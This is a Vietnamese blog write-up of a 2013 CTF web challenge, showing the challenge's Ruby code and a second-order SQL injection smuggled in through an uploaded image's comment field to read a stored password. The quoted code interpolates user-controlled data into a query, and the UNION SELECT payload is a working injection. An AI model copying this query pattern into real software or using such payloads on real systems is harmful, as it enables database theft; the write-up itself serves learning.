[Writeup] [DIMVA CTF 2013] Web (100)

Standard

Lời nói đầu

Giống như ngày xưa, mình sẽ lại viết writeup về CTF trong suốt quá trình mình học và chơi với nó. Một vài điểm quan trọng mình muốn lưu ý người đọc như sau (cho writeup này và toàn bộ các writeup khác trong tương lai):

  • Kiến thức tầm thường: Vì khả năng của mình có hạn.
  • Dài dòng và lan man: Mình viết đầy đủ về quá trình suy diễn của mình, nên nó sẽ tốn chữ hơn rất nhiều so với các writeup bạn thường thấy (chỉ bao gồm kết quả và vài dòng note chính, đọc rất dễ sa vào tâm lý tự ti, vì không hiểu sao tụi nó giỏi thế, nghĩ chút là ra, mà đã ra là ra hẳn luôn).
  • Lời giải có thể tồi: Điều này rất quan trọng, và mình muốn sẽ không bị ném gạch quá nhiều. Mỗi người có một hướng đi, có người giỏi và có người không giỏi, mình sẽ cố gắng bổ sung lời giải tốt hơn từ các team khác nếu mình biết.
  • Quá khứ đến rất nhanh: Với các bài cần truy cập link, thì thường sau khi cuộc thi kết thúc, link đó sẽ die. Hãy thỏa sức tưởng tượng…
  • Cảm ơn toàn bộ các anh, các bạn đẹp trai và lắm tài trong botbie đã chỉ đường dẫn lối cho em biết đến mấy cái thứ hại não này! (Cũng cảm ơn các anh, các bạn đã biết cách bỏ rơi em đúng lúc trong quá trình thi >”<)
  • … (rất nhiều vấn đề linh tinh và xinh xinh sẽ cập nhật sau).

Nội dung chính

Truy cập:

http://dimvactf.0x90.eu:4567/

19-07-2013 20-51-51

Nhấn tạo, chờ một chút:

19-07-2013 20-52-21

Trong trang mới, có một list các file ảnh (kèm theo tag của nó) và 1 form để upload file ảnh mới:

19-07-2013 20-52-33 19-07-2013 20-52-48

Đáng chú ý thì có file đầu tiên (dsc01510.jpg) cần mật khẩu, và file dsc01345.jpg với phần tag có ký tự đặc biệt \’.

Nhấn vào file dsc01345.jpg, ta chuyển sang trang xem hình, bên dưới có liên kết để xem các hình có cùng tag:

19-07-2013 20-53-07

Nhấn vào link đó, gặp lỗi:

19-07-2013 20-53-26

mã nguồn file server.rb:

19-07-2013 20-54-00

db = SQLite3::Database.new("#{dir}/base.sqlite")
rows = db.execute("SELECT tag from pictures WHERE filename = ?", photo);
row = rows[0]
if (! row) then
    return "file not found"
end
tag_from_db = row[0]

rows = db.execute("SELECT filename from pictures WHERE tag = '#{tag_from_db}'")

res = ""
rows.each do |r|
    if r[0] then
		res += "</pre>
<ul>
	<li><a href="/#{dir}/photos/&quot;">" + CGI.escapeHTML(r[0]) + "</a>"
	end
end

Như vậy là có thể inject dựa theo câu lệnh:

rows = db.execute("SELECT filename from pictures WHERE tag = '#{tag_from_db}'")

Thử upload 1 file ảnh bất kỳ để xem web lấy tag như thế nào (do form upload không có mục này):

19-07-2013 20-54-32

Vậy là tag được lấy tự động thông qua phần comment của file.

Tiến hành thêm comment (mình dùng Win nên xài tạm IrfanView):

' UNION SELECT password AS filename FROM pictures WHERE filename = 'dsc01510.jpg'--

Upload file đó:

19-07-2013 20-55-02

Nhấn vô xem, nhấn tiếp liên kết xem các file cùng tag. Thấy hiện password:

19-07-2013 20-55-17

c0ffee29e34ad42d38cbe236913c911a

Vẫn còn nghĩ rằng sẽ cần nhập password để xem file hình, rồi nhìn hình để tìm flag, nhưng vì password nhận được đã đúng định dạng rồi, nên submit luôn.

P.S: Hình:

SONY DSC

7 thoughts on “[Writeup] [DIMVA CTF 2013] Web (100)

  1. Pingback: [Writeup] [DIMVA CTF 2013] Trivia II (50) | Bay thật xa... xa... xa hơn nữa ~)~

  2. Pingback: [Writeup] [UFO CTF 2013] Web (100) | Bay thật xa... xa... xa hơn nữa ~)~

  3. Pingback: [Writeup] [UFO CTF 2013] Cryptor (100) | Bay thật xa... xa... xa hơn nữa ~)~

  4. Pingback: [Writeup] [CLGT CTF] Stegano (69) | Bay thật xa... xa... xa hơn nữa ~)~

  5. Pingback: [Writeup] [CLGT CTF] Stegano (100) | Bay thật xa... xa... xa hơn nữa ~)~

  6. Pingback: [Writeup] [CLGT CTF] Misc (100) | Bay thật xa... xa... xa hơn nữa ~)~

  7. Pingback: [Writeup] [CLGT CTF] Crypto (100) | Bay thật xa... xa... xa hơn nữa ~)~

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s